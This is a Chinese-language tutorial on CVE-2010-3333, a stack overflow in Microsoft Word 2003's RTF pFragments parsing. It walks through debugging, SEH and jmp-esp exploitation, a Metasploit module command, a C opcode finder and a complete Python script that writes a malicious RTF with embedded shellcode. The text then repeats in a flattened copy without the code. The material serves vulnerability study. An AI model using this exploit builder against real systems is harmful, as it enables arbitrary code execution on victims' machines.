漏洞分析学习之cve-2010-3333
字数 1752 2025-08-26 22:11:56

CVE-2010-3333漏洞分析与利用教学文档

1. 漏洞概述

CVE-2010-3333是Microsoft Office Word中的一个栈溢出漏洞,存在于RTF解析器中。该漏洞允许攻击者通过特制的RTF文档执行任意代码,影响Microsoft Office 2003 SP3等版本。

2. 测试环境配置

  • 操作系统: Windows XP SP3简体中文版
  • 虚拟机: VMware 15.5
  • 调试工具:
    • OllyDbg (吾爱破解版)
    • WinDbg x86
  • 反汇编工具: IDA Pro 7.0
  • 漏洞软件: Microsoft Word 2003 SP3

3. RTF文件格式基础

RTF(富文本格式)文件类似于XML,通过控制字编辑属性。关键控制字:

  • \rtf1: RTF版本声明
  • \shp: 绘画对象
  • *\shpinst: 图片引用
  • \sp: 绘画对象属性定义
  • \sn pFragments: 定义属性名称,pFragments段是图形的附加部分,属于数组结构
  • \sv: 定义属性值

4. 漏洞分析

4.1 漏洞触发点

漏洞位于处理pFragments属性时,qmemcpy函数执行内存拷贝时未进行长度检查,导致栈溢出。

关键函数调用链:

  1. mso!Ordinal1488+0x29fd
  2. mso!Ordinal901+0x2a3c
  3. mso!Ordinal4925+0x530
  4. mso!Ordinal5148+0x360
  5. mso!Ordinal4783+0x12f

最终调用到qmemcpy函数:

30edf864 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

4.2 漏洞原理

漏洞函数原型:

void __stdcall sub_30EDF83E(int a1, void *a2, int a3)
{
    if (a2)
        qmemcpy(a2, (const void *)(*(_DWORD *)(a1 + 16) + a3 * (*(_DWORD *)(a1 + 8) & 0xFFFF)), 
               *(_DWORD *)(a1 + 8) & 0xFFFF);
}

问题在于qmemcpy复制数据时没有限制长度,导致可以覆盖栈上的返回地址和SEH结构。

5. 漏洞利用

5.1 基于SEH的利用

  1. SEH链覆盖:

    • 通过溢出覆盖SEH处理函数指针
    • 典型的SEH攻击使用pop pop ret指令序列
    • 示例SEH处理地址:30001BDD (pop ecx; pop ecx; ret)
  2. 利用步骤:

    • 覆盖SEH处理函数指针
    • 触发异常使控制流转向我们的shellcode
    • 使用MSF生成利用样本:
      search cve-2010-3333
      use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
      set target 2  # 2003 sp3
      set PAYLOAD windows/exec
      set CMD calc.exe
      set EXITFUNC seh
      exploit
      

5.2 基于ROP的利用

  1. 查找jmp esp指令:

    • 使用以下代码搜索user32.dll中的jmp esp指令:
      #include <windows.h>
      #include <stdio.h>
      
      #define DLL_NAME "user32.dll"
      
      int main() {
          BYTE *ptr;
          int position, address;
          HINSTANCE handle;
          BOOL done_flag = FALSE;
      
          handle = LoadLibrary(DLL_NAME);
          if(!handle) {
              printf("load dll error");
              return 0;
          }
      
          ptr = (BYTE *)handle;
          for(position = 0; !done_flag; position++) {
              try {
                  if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) {
                      address = (int)ptr + position;
                      printf("OPCODE found at 0x%x\n", address);
                  }
              } catch(...) {
                  address = (int)ptr + position;
                  printf("END OF 0x%x\n", address);
                  done_flag = true;
              }
          }
          getchar();
          return 0;
      }
      
    • 示例结果:0x77d93ac8
  2. 构造ROP利用:

    • 利用jmp esp跳转到shellcode
    • 需要绕过后续检查,确保je指令跳过
    • 示例payload结构:
      [RTF头部]
      [长度字段]
      [填充数据(0x14*2字节)]
      [jmp esp地址]
      [填充数据(0x14*2字节)]
      [shellcode]
      [RTF尾部]
      
  3. 完整利用代码示例:

    length = "0010"
    jmp_esp = "cc3ad977"  # 0x77d93acc
    shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
    
    payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111"
    payload += length
    payload += "a" * (0x14 * 2)
    payload += jmp_esp
    payload += "0" * (0x14 * 2)
    payload += shellcode
    payload += "}}}}"
    
    with open("shellcode.rtf", "w") as f:
        f.write(payload)
    

6. 调试技巧

6.1 WinDbg常用命令

  • db <addr>: 查看指定地址的数据
  • ub <addr>: 查看指定地址前的汇编代码
  • u <addr>: 查看指定地址后的汇编代码
  • !exchain: 查看SEH链
  • !address <addr>: 查看指定地址的内存页保护情况
  • lmv m mso: 查看mso模块信息
  • bp <addr>: 设置断点
  • bl: 列出所有断点
  • bc: 清除断点

6.2 OllyDbg技巧

  • F2: 设置/取消断点
  • F8: 单步步过
  • F7: 单步步进
  • 锁定堆栈: 在堆栈窗口右键选择"锁定堆栈"
  • 查看SEH链: 在查看菜单中选择"SEH链"

6.3 调试注意事项

  1. 附加Word进程后,使用Ctrl+Shift+F5重新运行
  2. 按F5运行后剪贴板会被清空,重要地址需要记录
  3. 使用Ctrl+Break暂停执行后再下断点
  4. 观察返回地址(EBP+4)而非EBP本身

7. 总结

7.1 关键知识点

  1. RTF文件格式及其结构
  2. 栈溢出原理及利用方法
  3. SEH机制及其在漏洞利用中的应用
  4. ROP技术基础及jmp esp的查找方法
  5. 漏洞利用的构造技巧

7.2 防御措施

  1. 及时安装Microsoft安全更新
  2. 禁用Office中的RTF解析功能
  3. 使用DEP、ASLR等防护机制
  4. 对可疑RTF文件进行沙箱分析

7.3 扩展学习

  1. 结构化异常处理(SEH)深入解析
  2. ROP攻击的高级技巧
  3. 漏洞利用的可靠性提升方法
  4. 现代缓解机制的绕过技术

通过本教学文档,您应该能够全面理解CVE-2010-3333漏洞的原理、分析方法及利用技术,并掌握相关的调试技巧和工具使用方法。

CVE-2010-3333漏洞分析与利用教学文档 1. 漏洞概述 CVE-2010-3333是Microsoft Office Word中的一个栈溢出漏洞,存在于RTF解析器中。该漏洞允许攻击者通过特制的RTF文档执行任意代码,影响Microsoft Office 2003 SP3等版本。 2. 测试环境配置 操作系统 : Windows XP SP3简体中文版 虚拟机 : VMware 15.5 调试工具 : OllyDbg (吾爱破解版) WinDbg x86 反汇编工具 : IDA Pro 7.0 漏洞软件 : Microsoft Word 2003 SP3 3. RTF文件格式基础 RTF(富文本格式)文件类似于XML,通过控制字编辑属性。关键控制字: \rtf1 : RTF版本声明 \shp : 绘画对象 *\shpinst : 图片引用 \sp : 绘画对象属性定义 \sn pFragments : 定义属性名称,pFragments段是图形的附加部分,属于数组结构 \sv : 定义属性值 4. 漏洞分析 4.1 漏洞触发点 漏洞位于处理 pFragments 属性时, qmemcpy 函数执行内存拷贝时未进行长度检查,导致栈溢出。 关键函数调用链: mso!Ordinal1488+0x29fd mso!Ordinal901+0x2a3c mso!Ordinal4925+0x530 mso!Ordinal5148+0x360 mso!Ordinal4783+0x12f 最终调用到 qmemcpy 函数: 4.2 漏洞原理 漏洞函数原型: 问题在于 qmemcpy 复制数据时没有限制长度,导致可以覆盖栈上的返回地址和SEH结构。 5. 漏洞利用 5.1 基于SEH的利用 SEH链覆盖 : 通过溢出覆盖SEH处理函数指针 典型的SEH攻击使用 pop pop ret 指令序列 示例SEH处理地址: 30001BDD (pop ecx; pop ecx; ret) 利用步骤 : 覆盖SEH处理函数指针 触发异常使控制流转向我们的shellcode 使用MSF生成利用样本: 5.2 基于ROP的利用 查找jmp esp指令 : 使用以下代码搜索user32.dll中的jmp esp指令: 示例结果: 0x77d93ac8 构造ROP利用 : 利用jmp esp跳转到shellcode 需要绕过后续检查,确保 je 指令跳过 示例payload结构: 完整利用代码示例 : 6. 调试技巧 6.1 WinDbg常用命令 db <addr> : 查看指定地址的数据 ub <addr> : 查看指定地址前的汇编代码 u <addr> : 查看指定地址后的汇编代码 !exchain : 查看SEH链 !address <addr> : 查看指定地址的内存页保护情况 lmv m mso : 查看mso模块信息 bp <addr> : 设置断点 bl : 列出所有断点 bc : 清除断点 6.2 OllyDbg技巧 F2 : 设置/取消断点 F8 : 单步步过 F7 : 单步步进 锁定堆栈: 在堆栈窗口右键选择"锁定堆栈" 查看SEH链: 在查看菜单中选择"SEH链" 6.3 调试注意事项 附加Word进程后,使用Ctrl+Shift+F5重新运行 按F5运行后剪贴板会被清空,重要地址需要记录 使用Ctrl+Break暂停执行后再下断点 观察返回地址(EBP+4)而非EBP本身 7. 总结 7.1 关键知识点 RTF文件格式及其结构 栈溢出原理及利用方法 SEH机制及其在漏洞利用中的应用 ROP技术基础及jmp esp的查找方法 漏洞利用的构造技巧 7.2 防御措施 及时安装Microsoft安全更新 禁用Office中的RTF解析功能 使用DEP、ASLR等防护机制 对可疑RTF文件进行沙箱分析 7.3 扩展学习 结构化异常处理(SEH)深入解析 ROP攻击的高级技巧 漏洞利用的可靠性提升方法 现代缓解机制的绕过技术 通过本教学文档,您应该能够全面理解CVE-2010-3333漏洞的原理、分析方法及利用技术,并掌握相关的调试技巧和工具使用方法。